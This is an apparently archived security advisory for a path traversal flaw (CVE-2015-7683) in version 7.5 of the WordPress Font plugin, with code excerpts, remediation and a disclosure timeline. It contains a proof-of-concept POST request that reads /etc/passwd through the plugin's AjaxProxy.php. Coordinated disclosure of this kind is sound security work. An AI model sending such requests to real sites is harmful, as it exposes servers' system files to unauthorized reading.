Twenty Year Anniversary

WordPress Font 7.5 Path Traversal

WordPress Font 7.5 Path Traversal
Posted Oct 12, 2015
Authored by David Moore

WordPress Font plugin version 7.5 suffers from a path traversal vulnerability.

tags | exploit, file inclusion
advisories | CVE-2015-7683
MD5 | bfa80e9c847caac747e8eff3991ef121

WordPress Font 7.5 Path Traversal

Change Mirror Download

Details
================
Software: Font
Version: 7.5
Homepage: https://wordpress.org/plugins/font/
CVE: CVE-2015-7683 (Pending)
CVSS: 6.3 (Medium; AV:N/AC:M/Au:S/C:C/I:N/A:N)
CWE: CWE-22

Description
================
An absolute path traversal vulnerability in Font 7.5 allows WordPress admins read access to system files such as /etc/passwd. Font is a WordPress plugin with over 40,000 active installs.

Vulnerability
================
The vulnerability is due to the unsanitized POST parameter 'url' being passed to file_get_contents() via file_get_contents2().

>From font/Font.php:
139: $contents = $this->file_get_contents2($_POST['url'], array_merge($dataArr, $serializedArr));
. . .
515: function file_get_contents2($src, $postData = false) {
. . .
550: $fileContents = @file_get_contents($src, false, $context);

Proof of Concept
================
URL: http://localhost/wordpress/wp-content/plugins/font/AjaxProxy.php

POST data:
url=/etc/passwd&data%5Bblogurl%5D=http%3A%2F%2Flocalhost%2Fwordpress&data%5Bversion%5D=7.5&format=json&action=cross_domain_request

Remediation
================
Upgrade the plugin to version 7.5.1 or higher.

Timeline
================
2015-09-29: Discovered
2015-09-30: Contacted vendor via plugin support form
2015-10-01: Reported vulnerability to wordpress.org
2015-10-02: CVE-2015-7683 assigned
2015-10-04: Vendor releases version 7.5.1 - confirmed fixed
2015-10-12: Public Disclosure

References
================
[1] https://cwe.mitre.org/data/definitions/22.html

Discovered by
================
David Moore @grajagandev

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

June 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    14 Files
  • 2
    Jun 2nd
    1 Files
  • 3
    Jun 3rd
    3 Files
  • 4
    Jun 4th
    18 Files
  • 5
    Jun 5th
    21 Files
  • 6
    Jun 6th
    9 Files
  • 7
    Jun 7th
    16 Files
  • 8
    Jun 8th
    18 Files
  • 9
    Jun 9th
    5 Files
  • 10
    Jun 10th
    2 Files
  • 11
    Jun 11th
    21 Files
  • 12
    Jun 12th
    34 Files
  • 13
    Jun 13th
    15 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    4 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    2 Files
  • 18
    Jun 18th
    5 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close